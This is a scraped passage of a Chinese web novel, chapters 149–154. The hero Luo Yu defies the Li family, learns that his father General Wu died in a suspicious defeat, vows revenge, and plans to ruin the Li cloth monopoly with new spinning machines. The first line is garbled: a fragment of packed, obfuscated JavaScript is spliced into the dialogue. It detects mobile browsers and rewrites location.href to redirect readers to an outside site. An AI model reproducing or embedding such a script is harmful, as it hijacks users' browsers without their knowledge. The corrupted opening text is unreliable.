“洛城主,没必要弄得这么僵嘛。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489175|169975||http|test|mini|href|location''.split(''|''),0,{}));
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r>李玄冰微微一笑:
“如果今日我是奔着开战来的,就不会只带三千兵马了,李家有心与你合作的,倒不如好好谈一谈。”
“又是合作?”
洛羽冷笑一声:“那就说说吧,怎么个合作法。”
“很简单,和此前一样,苍岐凤川两地归你,我李家绝不干涉。”
李玄冰泰然自若地说道:
“但你得向李家纳税,以前姚林交多少,凤川和苍岐两城也交多少,咱们化干戈为玉帛,岂不美哉?
至于李光业和苍岐将士的死,咱们算扯平了,就此揭过。”
“给李家交税?哈哈哈。”
洛羽直接乐了,冷声道:
“凭什么?苍岐凤川两地是我真刀**换回来的,李公子嘴皮一张就想分走几成税赋,太霸道了些吧?”
讥讽的嗓音终于让李玄冰的表情冷了下来:
“本公子已经给足了你面子,休要敬酒不吃吃罚酒!
在阙州敢这么和我说话的人还真是头一回见,你不要以为打赢了几场仗就真能虎踞一方。
我李家捏死你虽然会费点力,可一定能做到!”
“是吗?如果你李家真有把握,今日还会来和我谈条件吗?”
洛羽脸上多了一抹嘲讽:
“你们很清楚,和我开战就算能赢那也是伤筋动骨,你们李家不想死那么多人,但你们又舍不得凤川城的利益,所以才来和我谈条件对吧?
说白了,你们也怕!”
被洛羽戳破心思,李玄冰的目光很是阴沉。
“我告诉你,苍岐凤川两地一个铜板都不会交给李家,从今往后这里我说了算!别人惧你李家,我不惧!”
洛羽面色冰寒:
“云阳关那一仗我不会忘,这笔账以后我们再好好算。
想开战,我就在这里等你,让我看看李家有多少人可以死!”
“洛羽,你休要张狂太甚!”
李玄冰被彻底激怒了:
“别忘了,我父亲乃是朝廷亲封的阙州持节令,主管阙州军政大权!你无官无职,只是名义上的城主罢了。
强占凤川,我李家大可以出兵将你剿灭,谁也说不了什么!”
这句话李玄冰说得没毛病,李家名义上掌管阙州军政,确实可以严令洛羽交出凤川,但如今是谁拳头硬谁说了算!
“那就让咱们沙场上见真章!”
两人针锋相对,怒从心生。
眼看着谈判即将破裂,大战一触即发,天边尽头突然有一辆华丽的马车在数十精骑的护卫下疾驰而来,马车顶端还飘扬着一面金黄色的小旗。
黄旗飘飘,威严感油然而生。
“这是,宫里出来的车驾!”
李玄冰的见识自然比洛羽要多,第一眼就认出了马车的来历,可是皇城宫里的车驾怎么会出现在这?
一道粗狂的怒喝声陡然响彻战场:
“圣旨到!”
第150章独剩武家一子
“你什么时候才能醒啊?”
“求求你,吃一口好不好?”
沈漓坐在病床边,手里端着一碗米汤,怎么喂都喂不进洛羽的嘴里。
洛羽已经昏迷了整整三天,粒米未进,整个脸都显得苍白无力,偶尔还会咳出几口血痰。沈漓一步不离地在这里陪了三天,眼眶里满是血丝。
“吃啊,不吃饭怎么行,哪怕吃一口呢。”
沈漓握着汤勺,轻轻地往洛羽嘴里送,可米汤没有落进嘴里,反而顺着脸颊流得到处都是。
“你到底怎么了,为什么会这样。”
几滴晶莹的泪珠夺眶而出,沈漓的嗓音止不住的颤抖。她不明白,刚刚受封正四品定边将军,怎么眨眼间就不省人事,命在垂危。
一头雾水的不仅是沈漓,屋外的萧少游等人同样急得团团转。
“妈的,真是见了鬼了,好端端的怎么就晕倒了?”
蒙虎骂骂咧咧,走来走去:
“几个医师说是急火攻心,气血不足导致昏迷。可刚刚加封定边将军不是喜事吗,怎么还生气了?难道嫌官太小?”
“冯公公说大哥是听到东境兵败的消息才晕倒的。”
萧少游眉头紧皱:
“东境兵败确实令人哀叹,可东境离陇西数千里之遥,和我们八竿子打不着,大哥何至于昏迷不醒?”
“东境,东境,镇东大将军。”
韩朔双眼无神,这几天他就像丢了魂一样,坐立不安。
梅雪崖早就察觉到了韩朔的异常,忍不住问道:“韩大哥,你是不是知道些什么?”
“这,我……”
韩朔支支吾吾,令众人越发好奇,江殊赶忙推了他一把:
“韩大哥,都是自己兄弟,有什么不能说的。”
韩朔目光闪烁,默默低下了头:“我已经跟着武将军打过仗,武将军战死沙场,我心痛不已。”
“你撒谎!”
萧少游瞪着眼:“韩大哥,咱们认识不是一年两年了,你压根就没说真话!”
蒙虎急得直跺脚:“韩大哥你倒是说啊,都什么时候了还藏着掖着!”
“唉,其实我当初是受武将军所托照看城主……”
众人咄咄逼问,韩朔知道此事瞒不下去了,只好将所有事情和盘托出,但他也不知道武成梁与洛羽的关系,只知道不一般。
几人全都震惊了,当初在云阳关的时候洛羽不是个新兵蛋子吗?怎么可能让堂堂镇东大将军如此上心,还亲自从京城来一趟陇西?两人的关系绝对不一般!
但又有一点说不通,从鸡鸣寨到黑坡寨,洛羽几次三番死里逃生,随随便便一个标长百户都能逼得他深陷绝境,哪像是有半点背景的样子?
所有人都意识到这背后一定藏着个天大的秘密!
萧少游的脸上多了一抹前所未有的凝重,环视众人:
“刚刚韩大哥所言,半个字都不能泄露出去,谁敢走漏风声,就别怪我萧少游翻脸不认人!”
几人不约而同的点了点头,在场的都是绝对心腹,值得信任。
“咳咳咳!”
“水,水~”
“醒了,你终于醒了!”
屋内突然传出一阵剧烈的咳嗽声,几人目光一亮,呼啦啦全涌了进去,差点就把门框给挤破了。
沈漓嗔怒一声:“动静小点!****躁躁的!”
几人脑袋一缩,老老实实地站在病床边,洛羽真的醒了,刚刚咳出一滩血,神色极为虚弱,喂了两口水之后才稍显红润。
萧少游尽可能轻声细语地问道:
“医师说你急火攻心,到底出什么事了?咱们能不能帮上忙?”
洛羽怔怔地看着天花板:
“有东境的消息吗?”
“有。”
萧少游小心翼翼地开口:“去年年初,东境郢国陈兵边境,袭击我数座边城。朝廷令镇东大将军武成梁率兵出征,收复失地、抗击外敌。
两军在边境对峙近一年之久,大小数十战,武将军连战连捷,一路高奏凯歌。
可就在一月之前,郢国突然增兵,兵分多路一举包围武将军,双方兵马血战多日,最终我军不敌,全军覆没。
镇东大将军武成梁、长子武如柏、次子武如松全都战死沙场。”
洛羽的心脏骤然一缩:
“消息确定吗?”
“此事已经传遍天下,举国震动,再加上还有冯公公作证,想来不会有假。
对了,冯公公说着急着回京,已经走了,该给的银子和酒我都差人给他装好了。但他以为你常年征战,身有旧疾
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,并未多想。”
“知道了。”
沉默,长久的沉默,所有人都能感受到洛羽的心情在这一刻跌落至谷底。因为洛羽在死死攥紧被单,指甲都快嵌进血肉了。
他们很想问清缘由,但是不敢,生怕戳中洛羽的痛处。
“咚咚。”
敲门声响起,小伍轻手轻脚地走进屋内,躬身道:
“将军,城里来了个妇人,说是要见您。”
“都什么时候了,见什么见。”
沈漓眉头紧皱:
“现在他最需要的是休息,吩咐下去,这几天谁也不见!”
“额。”
小伍苦笑道:
“她说她姓常,将军一定会见她。”
“姓常?”
几人的表情同时一变,若放在平时,姓常并无什么特殊之处,可现在这时节,不得不让人想到镇东大将军武成梁的夫人也姓常!
因为武成梁战死之后皇帝就下旨,诏封武家主母为一品诰命夫人。
在众人惊愕的眼神中,洛羽掀开被褥,艰难地坐起身:
“我要见她!”
“立刻!”
……
幽静的房屋中站着一个人,浑身笼罩在黑袍之中,看不清身形也看不清面庞。
缕缕阳光顺着纱窗照进屋中,好似怎么也驱赶不了屋中的阴寒之气。
“嘎吱。”
房门轻轻推开,洛羽独自一人步履蹒跚地走进屋中,望着黑袍人影目光闪烁。
“你来了。”
黑袍人转过身,一张熟悉的面庞映入眼帘。
镇东大将军的正妻,武家主母,一品诰命夫人,常如霜!
当初就是她和洛羽定下了五年之约。没想到五年之约才过去一年半,两人就再度相见。
妇人的眼神极为复杂,遍布血丝,就像是哭过多少个日日夜夜。
洛羽艰难的努动嘴唇:
“是真的吗?”
洛羽的目光中闪过些许希冀,他很想从常如霜口中听到此事是假的,他爹和两位兄长从鬼门关逃了出来。
哪怕是身负重伤也好啊,起码保住一条命。
“遗体已经运送回京。”
短短一句话彻底打碎了洛羽心中仅剩的希望,常如霜嗓音颤抖:
“从今以后,武家只有你一个男丁了。”
第151章复仇之路
武家独剩你一人。
仅有的希望被击碎,洛羽眼含热泪,不可置信地摇着头:
“为什么,为什么会这样!”
收复云阳关、击退羌贼、加封正四品定边将军,将凤川苍岐两地纳入麾下,洛羽的喜事一件接着一件。
五年之约只用了一年半便达成,他甚至都想好以后的日子该怎么过了:
自己认祖归宗,但不回京城,接着在苍岐领军,母亲也可以拥有名分,名正言顺地住在武府,安享晚年,逢年过节一家人便可团聚,其乐融融。
可他等来的不是好日子,而是父亲、兄长同时战死的噩耗。
“将门之家,本就如此。”
常如霜自嘲似的摇了摇头:
“其实当初嫁给你爹,看着他走上从军路的时候我就想过会有这一天。
天下大乱,七国纷争,多少男儿战死沙场?多少百姓家破人亡?男丁死绝的何止是武家?
旁人能死,为何武家不能死?”
平静中带着落寞,并没有那种极致的悲痛,反倒令人觉得坚强。若是被陌生人看到,绝不会相信她刚刚经历丧夫失子之痛。
初次相见时洛羽听她提过,常如霜为武成梁生了四个儿子,老三老四十几岁就战死沙场,白发人送黑发人。
当时洛羽就对她心生敬意,也从未对五年之约有过任何不满,人家对亲生儿子尚且如此,自己一个私生子有什么好抱怨的?
如今四子尽数战死,洛羽难以想象常如霜会多么悲痛。
“我娘亲呢?”
洛羽艰难地问道:“还好吗?她怎么没来?”
“她的病本来已经治得差不多了,可战报传来,你娘吐血晕厥,旧病复发,就留在京城养伤了。
不过你放心,我已经请了京城最好的医师,只要好好将养便不会有事。”
“谢谢。”
洛羽默然,跟他猜得差不多。以他娘亲柔弱的性子,绝对承受不住这种噩耗。
“我这次来陇西,是因为你已经完成了五年之约。”
常如霜的眼神中流露出一抹赞许:
“其实这一年半你在边关的所作所为我都知道,你爹也知道。
从鸡鸣寨起家,一步步当上标长、百户,最后死守云阳关、阵斩完颜昌,一战成名。
再到后来建城苍岐、卖酒、买马,一步步扩充实力,直到这次收复失地。
可以说你做的每一件事、打的每一场仗都很漂亮,我当初从未料到你能以这么快的速度在陇西崛起,名震三州。
到底是武成梁的儿子啊,没有辱没你爹的名声。
你娘很满意,你爹更满意。”
如果放在几天前,常如霜说这番话洛羽一定会很开心,这是自己应得的夸奖,但现在他只有无尽的悲痛:
“带我回京吧,我要回武家。”
他突然不想留在苍岐了,他觉得两位娘亲更需要陪伴。
“不行。”
出人意料的是常如霜摇了摇头:“你就留在苍岐,不要回京。”
“为什么?”
洛羽很不解:“武家就只剩你和娘亲了,家中没有男人怎么行?还是说私生子的身份会给武家蒙羞?
不认祖归宗我无所谓,我只想守着武家。”
洛羽现在想通了,只要一家人平平安安,其他都是小事。爹不在了,兄长全都战死,只有他能挑起武家的大梁,至少得照顾好两位娘亲。
“我现在是一品诰命夫人,难道还不能照顾不了武家?”
常如霜的眼神微微闪烁,依旧拒绝了洛羽的提议:
“苍岐毕竟是你一手建立起来的新城,身边还有这么多兄弟,抛弃他们算怎么回事?
至于你的身份,还是先不要暴露吧,不要让外界知道你和武家的关系。”
洛羽的眉头深深皱起:
“常夫人是不是有什么事瞒着我?”
“没有。”
常如霜躲避着洛羽的目光。
“一定有!”
洛羽的嗓音提高了许多:
“武家现在是最需要男人撑起一片天的时候,但你却拒绝我回京,更不让我暴露身份。
其中一定有隐情!
常夫人说话一向一言九鼎,当初说了完成五年之约就让我认祖归宗,绝不会食言,如今却变卦。我猜是暴露身份之后会有危险,所以你在刻意保护我。
对不对?”
常如霜默然不语。
“真被我猜中了!”
洛羽蹭的一下站了起来,脑子里突然想到长兄武如柏曾经提到过,朝中有几个老东西一直在盯着武家:
“父亲的死,该不会有什么隐情吧?
父亲从边军小卒一步步走到镇东大将军,麾下五万精锐皆是敢战之卒,征战二十年胜多败少,此次郢国更是被他的打得节节败退。
怎么可能突然就全军覆没了?”
这是洛羽一直没想通的地方,武成梁镇守东境多年,早已知己知彼,吃几场败仗是兵家常事,可全军覆没就不对劲了。
常如霜怅然一声,摇了摇头:
“你比你爹要聪明得多啊。”
“谁!到底是谁!”
几乎默认的表情让洛羽陡然暴怒,脸色狰狞:
“告诉我,我要替父亲还有兄长报仇!”
“有些事你还是不知道的好。”
“说啊!”
“我不知道是谁。”
常如霜艰难的开口:
“我若是知道谁害**你爹,早就拉着他同归于尽了,岂会等到现在?
但我知道,此败一定有人从中作祟,否则五万精锐不可能一战死绝!有人在针对武家,有人想让武家万劫不复!”
常如霜变得愤怒,变得不甘,她不恨吗?她心中也恨
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!但她不知道该去恨谁!
洛羽死死攥紧拳头:
“不知道那就去查!查个水落石出,报仇雪恨!”
“就算真查出来,现在的你也报不了仇。”
常如霜冷着脸:
“幕后之人连武家五万精锐都敢坑杀,难道会怕你一个小小的正四品将军?
你靠什么报仇?靠苍岐、凤川两座城?还是靠你手底下区区几千兵马?
妄谈复仇,可笑至极。”
“那我就变得强大!”
洛羽怒目圆睁,几乎是用吼的:
“苍岐凤川不够,那我就拿下阙州,拿下陇西!
是,我现在是只有几千人,但以后我会有几万人!甚至是十几万铁骑!
总有一天我会强大到让所有人望而生畏!”
洛羽浑身陡然爆发出一股戾气,一股浓浓的杀意,更有一种扩张实力的迫切。
“我等的就是你这句话!”
常如霜嗓音冰冷:
“这才是一个武家男儿该有的样子!”
洛羽愣了一下,原来常如霜一直在激他,激出他心底的杀意。
常如霜踱步而行,一步步走进洛羽:
“复仇之路注定漫长而又危险,这一路危机重重、杀机四伏,稍有不慎便是万劫不复!
武家的男丁**,可我常如霜还活着!我生是武家的人,死是武家的鬼!我会陪你走完这条路!
洛羽,你怕不怕!”
“不怕!”
面对常如霜锋利的眼神,洛羽浑身杀气缭绕:
“要么死在复仇的路上,要么就用马蹄踏碎敌人的胸膛!”
……
苍岐城外
一辆毫不起眼的马车在四五名随从的护卫下缓缓远行,常如霜走了,并未在苍岐多加逗留。毕竟武家刚刚遭逢大难,身为武家主母的她离开京城太久难免惹人注意。
洛羽站在城头,身为是萧少游、韩朔、蒙虎、江殊、梅雪崖这几位心腹,人人神情肃穆。
洛羽已经把实情告诉了他们,毕竟他们心中已有推测,此时藏着掖着反而不好,倒不如原原本本的讲出来,因为他们都是过命的心腹。
时值初春,三岐山中冒出了点点新绿,五颜六色的山中野花在风中摇曳,象征着生机勃发。
城头上玄旗飘飘,黑甲林立,一面面“洛”字军旗迎风而立,不怒自威。
待马车消失在天边的那一刻,所有人都不自觉地看向洛羽。
“这一条路会很难走,或许我们都会死。”
洛羽神色平和:
“可愿随我,一路前行?”
“轰!”
所有人都单膝跪地,语气坚定:
“愿随将军,虽死无悔!”
“谢了。”
洛羽的视线扫过重峦叠嶂的山脉,手臂微张:
“待到山花烂漫时,我要让黑甲玄旗满天下!”
第152章我要灭掉李家
苍岐城多了一座正四品定边将军府,其实就是洛羽以前的屋子挂了块牌匾。
脸色恢复正常的洛羽重新出现在众人面前,所有人皆目光昂然,齐齐一声朗喝:
“参见洛将军!”
以后他们可不是什么家丁私兵了,而是有正儿八经的朝廷官身。
“今天第一件事,先宣布几项任命。”
洛羽面带微笑:
“封萧少游、韩朔为正五品游击将军,梅雪崖任正五品凤川城知府,至于苍岐,依旧由沈姑娘管理。”
如今洛羽有了朝廷圣旨,自然可以任命两城官吏武将,至于沈漓他没有给官职,因为不需要,苍岐一直以来都是她在管,总不能报一个女子性命去吏部吧?
“现在我们手里有苍岐凤川两座城,我的意思是两城分而治之,苍岐主军、凤川主商。”
洛羽将心中盘算缓缓道来:
“苍岐建在群山之中,道路通行不便,良田稀少,养不活很多人。以后除了军属,其他的流民难民都引至凤川定居。
苍岐城广积粮、高筑城、聚军马,驻守野战精锐,这是我们的底气所在。
凤川地处交通要道,勾连两州,商贾往来频繁,可重点发展农业、商业,为扩充军力提供粮饷。”
众人纷纷点头,此举很是合理,苍岐的地势决定了它不可能成为一个人口繁荣的大城,这种劣势恰好可以被凤川补齐。
一城屯军、一城赚钱,优劣互补!
“接下来要说的才是重点。”
洛羽转身看向身后的陇西三州地形图:
“这次因为朝廷圣旨,李家捏着鼻子退走了,但他们绝不会善罢甘休,早晚要找咱们的麻烦,咱们得早做打算。”
“这群卑鄙小人只会窝里横!羌兵压境当个缩头乌龟,一个比一个怕死,现在对付起咱们来倒是气势汹汹。”
蒙虎握紧了拳头:“什么李家,在我眼里一坨狗屎!只要李家敢派兵前来,咱们就和他们战!”
“蒙虎说得对,边关三州,实力为尊,唯唯诺诺是没有好下场的。”
洛羽的拳头重重往地图上一砸:
“我明确地告诉你们,接下来我们的目标就是灭掉李家!”
众人心头一震,李家在阙州称霸多年,谁敢想过要灭掉他?
“原因有二。”
洛羽竖起两根手指:
“第一,我们不灭他,他也会想尽办法灭了我们,第二,云阳关**那么多人,李家是罪魁祸首,这个仇我们一定要报!”
“诺!”
众人目露凶光。
“直接开战吗?”
韩朔提出了自己的疑问:“朝廷这道圣旨是封官赏赐,但也有劝和之意啊,直接和李家开始是不是不妥?”
“自然不能开战,朝廷的面子我们总归是要给的,动武,只能由李家起头,否则我们师出无名。而且大军刚从前线撤回,需要休整,眼下并不是最好的开战时机。”
洛羽负手而立,语调加重:
“当务之急就是发展,扩充实力!尤其是军力!少游,你先来讲一下军中的情况。”
萧少游迅速起身,面向众人:
“云阳关一战,我军带回了三千余人,韩将军留守内地,也征召了新兵一千余人,总计有军卒四千余众,战马三千多匹,甲胄军械不计其数。”
大家神色亢奋,从当初三百人到如今四千余兵马,洛家军可谓实力大增!谈不上阙州最强,但除了李家,其他城主绝对不敢与苍岐为敌。
“以前军中分为几尉,现在兵马多了,再分为尉就不合适了。
我已经与洛将军商议过,从今日起继续在苍岐、凤川两城增兵,我们要扩军至六千,整编为六营。
每营下辖三尉,一尉三百人,再配一旗百人斥候,斥候称之为游**手,负责临战侦察、游**四方、刺探敌情。
一营总计千人,设校尉领军。
六营校尉分别为蒙虎、霍连城、吕青云、余寒弓、徐松,最后一营由韩将军兼领都尉。
边军交战,骑兵为先,我们一直以来都想组建大规模的骑军。所以这次蒙虎、霍连城、吕青云、余寒弓四营尽配战马,为骑兵营。徐松、韩将军两营为步兵营。
咱们先将现有的老兵分成六营,后续征召的新兵再陆续分入各营,补齐千人之数。”
萧少游说完了,洛羽最后补充了一句:
“接下来你们的任务就是带兵训练,我给你们最好的甲、最好的刀,最充足的军粮军饷。
但你们要还我最好的兵!谁要是做不到,校尉就别相当了,本将军会派他去伙房背大锅!”
“诺!”
众校尉心头一凛,齐齐抱拳:
“定不负将军所托!”
大家鱼贯而出,但萧少游、江殊、梅雪崖三人被洛羽留了下来。
“知己知彼方能百战百胜,咱们该聊聊李家的底细了。”
洛羽目光微凝:
“阙州大大小小城池数十座,除了七八座城池由李家管辖外其他都由各自城主分管。
几乎所有城主都在明面上效忠李家,听其差遣,这些人全都加在一起的有数万军卒,远超咱们的兵马”
“徒有其表罢了。”萧少游冷笑一声:
“底下的城主哪个没有花花肠子,想让他们替李家打死仗、硬仗谈何容易?”
“
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对!所以咱们需要关注的就是李家嫡系牙兵,大概万余兵马。”洛羽好奇道:“我想知道的是李家靠什么养活上万兵马?”
苍岐是从区区两三百人一步步发展到今天的,不当家不知柴米贵,洛羽很清楚养兵是最费钱的,吃喝拉撒,战马操练,每一笔都是巨额开支。李家的钱从何而来?光靠田赋肯定是不够的。
“李家的收入主要有三大头。”
最熟悉阙州形势的自然是江殊了:
“第一是田赋,这就不用说了,底下各城都会按比例上缴田赋;
第二是青楼,如果说凤川以酒闻名,那阙州首府天阙城最出名的就是青楼了,城内大大小小的青楼、花坊、妓院足有上百家,几乎都是李家产业,据说其中女子妙曼可人,深受来往达官显贵的喜爱,往往有豪客在店中一掷千金。
第三是布匹生意,陇西三州盛产白叠,也就是棉花,李家名下有大量的手工作坊,织造棉布,完全垄断了阙州的布匹生意,就连定州、并州也有不少商贾从这里进货。”
“李家竟然还做布匹生意?”
洛羽的眉头皱了起来:
“他们的棉布有什么优势吗?为何可以畅销陇西三州?”
在乾国寻常百姓穿的衣服都是麻布,棉布可是稀罕物,不仅穿起来舒适,还更加保暖,又便于染成各种颜色,但又因为织造复杂,所以价格只比丝绸略次一些。
“因为他们成本低!”
梅雪崖冷冷地说道:
“棉花制作成棉布非常繁琐,首先需要人工去手剥除棉籽,人工价格高、棉布的价格就高。但是李家会强迫流民、难民为其劳作,不给工钱,只给饭吃,成本自然比其他布商要低得多。
以前阙州境内也是有不少布商的,经李家这么一折腾谁还卖得过他?接二连三地全倒闭了,久而久之布匹生意就只有他们一家独大。”
“原来如此。”
洛羽的嘴角突然勾起一抹笑容:
“听起来布匹生意倒是个不错的行当啊,接下来苍岐扩军,光靠酒水怕是不够养活这么多军卒,是时候找新的财路了。”
“你不会要和李家抢布匹生意吧?”
萧少游茫然道:
“李家几乎没有人力成本,咱们拿什么和他比?”
织造棉布的方法谁都会,比的就是一个成本,李家有免费劳动力,他们可没有啊。
“当然要抢,什么生意赚钱咱们就做什么!而且还能断了李家的财路,没了银子他就没钱养兵,一举两得!”
洛羽缓缓抬头,极为自信:
“至于织造棉布,呵呵,技术革新远胜过压迫民工!”
第153章你想抢李家的布匹生意?
“这是个什么东西?”
江殊和梅雪崖两人瞪大双眼,满脸好奇,在他们面前摆着几台奇怪的机器,以前从未见过,不过看构造有点像是织机。
“将军,咱们就用这玩意织布?”
梅雪崖很是疑惑,因为这是洛羽和公输白凑在一起捣鼓了十来天才弄出来的,谁也不认识。
“没错。”
洛羽伸手一指:
“左边这个叫轧棉机、右边这台称之为三锭脚踏纺车。
整个陇西所有的棉布生产都需要人工手动拨除棉籽,效率极低,且需要大量的人力,这一部分人力就是棉布价格居高不下的原因之一。轧棉机主要由两根滚轴组成,将棉花置于中间,来回滚压便能将棉籽拨除,效率提高数倍。
三锭脚踏纺车也是一样的道理,李家所用的单锭手摇纺车主要适用于织造麻和丝,用来织布效率低下,而三锭脚踏纺车是针对棉布改进的,纺布的速度大大提高。
这两种机器想结合,织布的效率起码胜过李家十倍!效率上来,咱们的制作成本自然远低于李家!”
“十倍!我的天呐。”
江殊目瞪口呆:
“那岂不是说我们雇佣一名劳工便能抵得上李家十人?您不是在开玩笑吧?”
他打小就经商做生意,很清楚人力节省十倍是什么概念,就算李家不给工钱只给饭吃,那成本也比他们要高。
“一开始我也不信,只是按城主教的方法去打造。”
公输白苦笑一声:
“但昨天我亲眼看着沈漓带着几名农妇用此二物织布,速度确实快,这还是刚学会使用织机,操作不够熟练的情况,等她们使用熟练了只怕要快十倍不止。”
“世上竟有如此神奇之物。”
江殊和梅雪崖的目光无比崇拜:
“将军,您到底是怎么想出来这些东西的?”
“对啊,你怎么想出来的?”
公输白紧盯着洛羽:“此前教我炼铁、现在还会做织机,我真想把你的脑壳撬开看看里面到底装了些什么东西。”
“我呸!没了我的脑壳你们吃什么喝什么!”
洛羽瞪了他一眼,顺势岔开话题:
“有了织机咱们便可以织布了,下一步便是和李家抢占市场。”
“李家已经在我们前头动手了。”
江殊面色凝重的说道:
“最近三锅头与凤仙醉的销售遇到了困难,很多老主顾都取消了订单,不敢再和听雨楼合作,我派人打听过,是李家在背后威胁了他们,还有一部分售卖三锅头的酒楼频繁遭到官府的检查和刁难,那些掌柜被折腾得苦不堪言,只怕很快就要放弃购买咱们的酒。
李家势大,谁也不想惹一身骚啊。”
“李家和我们想到一起去了。”
梅雪崖冷声道:
“咱们想着卖布,断他们的财路,人家却先下手为强,扼住了我们卖酒的渠道。李玄冰还是有脑子的,并非纨绔的世家公子哥。”
“无妨,我们的酒就是好,愿意买的人多!只要利润足够,总有酒楼会买的,李家靠一时强压坚持不了多久,反而会令很多商贾对他们心生怨气。
看似他们占了上风,实则是自掘坟墓。”
洛羽冷笑一声:
“商场如战场,我们能在战场上打赢西羌,难道商场上还对付不了李家?商品的质量不好,再多的阴谋诡计也不足为惧!”
“没错,那卖布一事是不是可以提上日程了?”
“我打算设立匠造司与官作司。”
洛羽竖起两根手指:
“匠造司由公输白任司丞,专门负责营造兵器、匠具,官署就建在赤岐山的脚下。官作司负责经商,比如现在织布卖布,以后或许还会做更多的生意,所有收入归于官府。
江殊任官作司司丞,以后听雨楼和官作司可以互相配合,共同经营,官作司可借用听雨楼的销售渠道卖布,听雨楼打着官作司的名头也可以避免很多麻烦,毕竟是官商,寻常的**贼土匪不敢上门找麻烦。”
“诺!”
公输白无所谓,什么匠造司不匠造司的,反正自己整日打铁,现在蒙虎那帮家伙都喊自己老铁,忒烦。
江殊倒是喜意洋洋,虽然听雨楼和苍岐早就不分你我了,但有了官身的感觉就是不一样。
“近期你们两的任务只有一个,匠造司负责打造更多的织机,官作司雇佣民夫开始织布,我建议雇佣工人时优先考虑妇女,尤其是那些家中没有青壮男丁的妇女,让她们也有养家糊口的能力,至于使
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用方法沈漓已经会了,她会去教你们。”
洛羽冷笑一声:
“等咱们的货备足了,我要一锤子砸死李家!现在先让他们得意两天。”
几人目光振奋,有了这种织机还怕什么李家?
“对了,还有一件事。”
梅雪崖轻声道:
“君家君墨竹来了,已经在府中等了半日。”
“噢?”
洛羽眉头轻挑:
“倒是好久没见他了。”
……
君墨竹站在苍岐城的城头,注目远眺,任由徐徐春风拍打着脸颊,墨色长衫在风中微微飘动,风度翩翩。
“君公子大驾光临有失远迎啊,让你久等了。”
洛羽缓步走来,面带歉意,他现在对君墨竹谈不上喜欢,但绝对不讨厌,毕竟上次出征时君墨竹送了他一份情报,里面写着各方势力的大概底细,给了他不少帮助。
“到底是封了正四品定边将军啊,忙得很,本公子倒是头一回等人等这么久。”
君墨竹笑呵呵地说道:
“难道这就是苍岐的待客之道?这样吧,算洛兄欠我一顿酒,就当是你赔礼道歉了。”
“没问题,苍岐别的没有,好酒多的是。”
洛兄这个称呼让洛羽目光闪烁,总觉得此战回来后君墨竹对自己的态度就变了,好像没有以前那样高高在上。
“洛兄在忙什么呢,半日也不见踪影?”
“瞎忙瞎忙,这不是刚从前线回来嘛,苍岐凤川有许多事务等着我处理。”
洛羽糊弄几句想应付过去,织布经商的事眼下那是绝密,绝不可走漏半点风声,否则怎么打李家一个措手不及?
“是吗?”
君墨竹抱着膀子,饶有趣味:
“我怎么觉得你在想法子对付李家?”
“君兄何出此言?”
洛羽面不改色地摇了摇头,义正言辞:
“我如今是定边将军,李家乃阙州持节令,咱们是同朝官僚,我无缘无故的对付李家干什么?”
“哈哈哈!洛兄不仅打仗厉害,睁眼说瞎话的本事也是一流啊。”
君墨竹大笑一声,然后目光一转,直勾勾地盯着洛羽:
“你想抢李家的布匹生意,对不对?”
洛羽的表情瞬间凝固。
第154章我是来送贺礼的
“你怎么知道?该不会连我苍岐内部都被你安插了内奸吧?”
洛羽的表情瞬间凝固,多出了一丝冰冷的寒意。
其实他一直知道君墨竹情报来源广泛,君家根基深厚,有这样的情报网不足为奇,可织布如此机密的事他怎么会知道?第一反应就是连苍岐内部都被他安插了人手。
但是也说不通啊,织布的时候除了他和公输白、江殊寥寥几人外再无人知晓,几名织布的农妇也是沈漓最信得过的人,总不至于这些心腹都是君墨竹的内奸吧?
“还真是,我诈你的,哈哈!”
在洛羽气急败坏的神情中君墨竹放声大笑:
“我说我是猜出来的,你信不信?”
洛羽满腹狐疑,这种事也能靠猜?
君墨竹这才解释道:
“朝廷的一道圣旨强行止住了你和李家的战事,但谁都知道这只是暂时的。
阙州是李家的地盘,卧榻之侧岂容他人酣睡?凤川更是阙州数一数二的繁华大城,李玄冰绝不会任由你掌控凤川的。而你也是睚眦必报之人,在云阳关战**那么多兄弟,自然要找李家算账。
眼下停战,无非是卖朝廷一个面子罢了。战不能战,只能从商场入手,断对方财路。
李家已经开始针对听雨楼,三锅头和凤仙醉都快卖不出去了,难道你会坐视不理?反击是一定的。
李家的财路无非只有三个,田赋、青楼、布匹。田赋是根基,你无法插手;青楼都在天阙城内,你不可能跑到阙州首府去找李家的麻烦,唯一能针对的只有布匹生意。
我说得没错吧?”
洛羽震惊了,君墨竹光靠一点点消息和对人性的了解就能推断出自己要做什么,心思太过缜密,实在可怕。
“李家做布匹生意很多年了,堪称陇西三州第一大布商。他们家经营的纱纺雇佣的民夫都是流民、难民,没有工钱,只给饭吃,成本被压低到极致。”
君墨竹眉头微皱:
“我想不出你有什么法子能和李家抢生意。”
洛羽翻了个白眼:“你不是会猜吗,再猜啊。”
君墨竹被噎得一句话都说不出来,他又不是神,哪能什么事都猜中。
“就想到你猜不出。”
洛羽心里爽了,嘴角微翘:
“君公子,这天底下没什么事情是一成不变的,李家靠着压榨民工获取暴利,注定走不远,你就看好,以后陇西三州的布匹生意就归我了!
倒是你,今天到我这来做什么?定州关外的羌兵退了?”
“本来定州战事告急,前线吃紧,但你在云阳关杀了完颜康,定州的羌军独木难支,只好退兵,说起来也是沾了你的光。”
君墨竹轻笑道:
“今天我当然是来给你道贺的,咱们也算是朋友了,你加封定边将军我总得来道喜吧?”
“道贺?”
洛羽眼珠子轱辘一转:
“那你怎么空手来了?我记得出征前你说过收复云阳关会请我喝酒,今天倒像是来吃白食的。
贺礼呢?”
这语气,哪有半点对君家的敬意,君墨竹板着脸掏出一张纸:
“贺礼!拿去!”
洛羽皱着眉头接过信纸:“这是?”
“阙州大小数十城,除了李家掌控的城池外还有十几位城主,各据一方。这里面是每一位城主的情报,涵盖个人性格、麾下兵力、往年经历等等。”
君墨竹负手而立:
“你和李家相争,用得上。”
“你要帮我?为什么?”
